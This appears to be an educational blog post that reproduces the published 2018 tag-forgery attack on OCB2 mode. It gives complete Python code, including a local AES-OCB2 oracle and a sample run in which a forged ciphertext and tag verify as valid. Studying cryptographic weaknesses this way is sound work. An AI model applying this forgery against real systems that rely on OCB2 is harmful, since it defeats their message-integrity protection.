Forging Tags for Data Encrypted in OCB2 Mode

Overview

OCB is a block cipher mode of operation, though a bit more esoteric when compared to ones like CBC and GCM. OCB2 (see section 10 of this paper) is a modification of OCB which enables it to operate as an authenticed encryption mode. This means we get confidentiality (via a ciphertext) and integrity (via a tag over the ciphertext). OCB2 was believed to be secure for over a decade thanks in part to security proofs and no known practical attacks.

You've probably guessed what's coming next. In 2018 a (very) practical attack was found that allows OCB2 tags to be forged. We'll implement the minimal example of the tag forgery from section 4.1 to provide a proof of concept that this attack is practical and reproducible. Note that this post will not attempt to explain the attack, instead it is interested in reproducing the attack and providing a proof of concept that the attack is practical and correct. Before we do that some notes on terminology so we're all on the same page.

Preliminaries

We'll use AES as the block cipher (to prove there aren't any shenanigans going on with a weak block cipher that allow this attack) and thus have an encryption function with a signature of AES-OCB(K, N, A, M) -> (C, T). Use of AES implies n will therefore be 128.

The start of our attack is to craft a message that meets the criteria for allowing the forgery from the minimal example. Note that this means we're implementing a chosen plaintext attack. The message is two blocks (128 bit sequences) long, and defined as follows.

When we say encoded length we mean the length is encoded as a byte string and 0 padded to be 128 bits long. 

    
  from struct import pack

  BLOCKSIZE = 16  # bytes


  def encode_length(datalen: int) -> bytes:
      encoded = b''
      while datalen > 0:
          encoded += pack('B', datalen % 0x100)
          datalen //= 0x100
      return b'\x00' * (BLOCKSIZE - len(encoded)) + encoded

We are now ready to generate our inputs to the encryption function. Note that we do not generate the key and nonce as inputs, we allow those to be generated by the encryption oracle since an attacker would not control those values. This attack leaves A empty so we use an empty byte sequence. 

    
  from os import urandom

  BLOCKSIZE = 16  # bytes


  def generate_inputs() -> tuple[bytes, bytes]:
    m = encode_length(BLOCKSIZE * 8) + urandom(BLOCKSIZE)
    return m, b''

Now we need an encryption oracle that will encrypt our inputs and return the corresponding ciphertext and tag. Note that, as stated above, we allow the oracle to set the key to a random value unknown to us. For ease of implementation we don't implement OCB2 mode by hand and defer to pyOCB for the heavy lifting. 

    
  from os import urandom

  from ocb.aes import AES
  from ocb import OCB

  BLOCKSIZE = 16  # bytes


  class Oracle:
      def __init__(self):
          self.n = urandom(BLOCKSIZE)
          self.k = urandom(BLOCKSIZE)
          
          aes = AES(BLOCKSIZE * 8)  # to bits
          self.ocb = OCB(aes)
      
      def encrypt(self, m: bytes, a: bytes) -> tuple[bytes, bytes]:
          self.ocb.setKey(self.k)
          self.ocb.setNonce(self.n)
          return self.ocb.encrypt(m, a)
      
      def decrypt(self, a: bytes, c: bytes, t: bytes) -> tuple[bool, bytes]:
          self.ocb.setKey(self.k)
          self.ocb.setNonce(self.n)
          return self.ocb.decrypt(a, c, t)

The Forgery

All that is left is to implement the forgery. The forgery is defined below. 

    
  BLOCKSIZE = 16  # bytes


  def xor(buf1: bytes, buf2: bytes) -> bytes:
      return bytes([b1 ^ b2 for (b1, b2) in zip(buf1, buf2)])


  def generate_forgery(m: bytes, c: bytes) -> tuple[bytes, bytes]:
      c_ = xor(c[:BLOCKSIZE], encode_length(BLOCKSIZE * 8))
      t_ = xor(m[BLOCKSIZE:], c[BLOCKSIZE:])
      return t_, c_

Putting this all together we now have our attack. If you'd like to run this code on your machine you can do so by cloning this repo and following the instructions in the README. This is an extremely efficient attack which requires one encryption oracle call. If you'd like to know the details of why this attack works, along with extensions of the attack, the paper has all the gory details. An example run is included below. 

  $ python ocb-forger.py
  Generated chosen plaintext:
  b'00000000000000000000000000000080de87e1ecb61dca46cce6c7dc37e934ab'

  Encryption Oracle returned -
  Ciphertext: b'0dc49ff029a23e891692a64d1952f9dc5d2dea47cafa3586d9793a3b2a79122d'
  Tag: b'094c29765d05986e2db6051136c634d6'

  Forgery -
  Ciphertext: b'0dc49ff029a23e891692a64d1952f95c'
  Tag: b'83aa0bab7ce7ffc0159ffde71d902686'

  Forged tag is valid: True

Full Implementation

    
  from binascii import hexlify
  from os import urandom
  from struct import pack

  from ocb.aes import AES
  from ocb import OCB

  BLOCKSIZE = 16  # bytes


  class Oracle:
      def __init__(self):
          self.n = urandom(BLOCKSIZE)
          self.k = urandom(BLOCKSIZE)
          
          aes = AES(BLOCKSIZE * 8)  # to bits
          self.ocb = OCB(aes)
      
      def encrypt(self, m: bytes, a: bytes) -> tuple[bytes, bytes]:
          self.ocb.setKey(self.k)
          self.ocb.setNonce(self.n)
          return self.ocb.encrypt(m, a)
      
      def decrypt(self, a: bytes, c: bytes, t: bytes) -> tuple[bool, bytes]:
          self.ocb.setKey(self.k)
          self.ocb.setNonce(self.n)
          return self.ocb.decrypt(a, c, t)


  def encode_length(datalen: int) -> bytes:
      encoded = b''
      while datalen > 0:
          encoded += pack('B', datalen % 0x100)
          datalen //= 0x100
      return b'\x00' * (BLOCKSIZE - len(encoded)) + encoded


  def generate_inputs() -> tuple[bytes, bytes]:
      m = encode_length(BLOCKSIZE * 8) + urandom(BLOCKSIZE)
      return m, b''


  def xor(buf1: bytes, buf2: bytes) -> bytes:
      return bytes([b1 ^ b2 for (b1, b2) in zip(buf1, buf2)])


  def generate_forgery(m: bytes, c: bytes) -> tuple[bytes, bytes]:
      c_ = xor(c[:BLOCKSIZE], encode_length(BLOCKSIZE * 8))
      t_ = xor(m[BLOCKSIZE:], c[BLOCKSIZE:])
      return t_, c_


  def forge_tag():
      m, a = generate_inputs()
      print(f'Generated chosen plaintext:\n{hexlify(m)}\n')

      oracle = Oracle()
      t, c = oracle.encrypt(m, a)
      print(
          f'Encryption Oracle returned -\n'
          f'Ciphertext: {hexlify(c)}\n'
          f'Tag: {hexlify(t)}\n'
      )

      t_, c_ = generate_forgery(m, c)
      print(
          f'Forgery -\n'
          f'Ciphertext: {hexlify(c_)}\n'
          f'Tag: {hexlify(t_)}\n'
      )

      valid, m_ = oracle.decrypt(a, c_, t_)
      print(f'Forged tag is valid: {valid}')


  if __name__ == '__main__':
      forge_tag()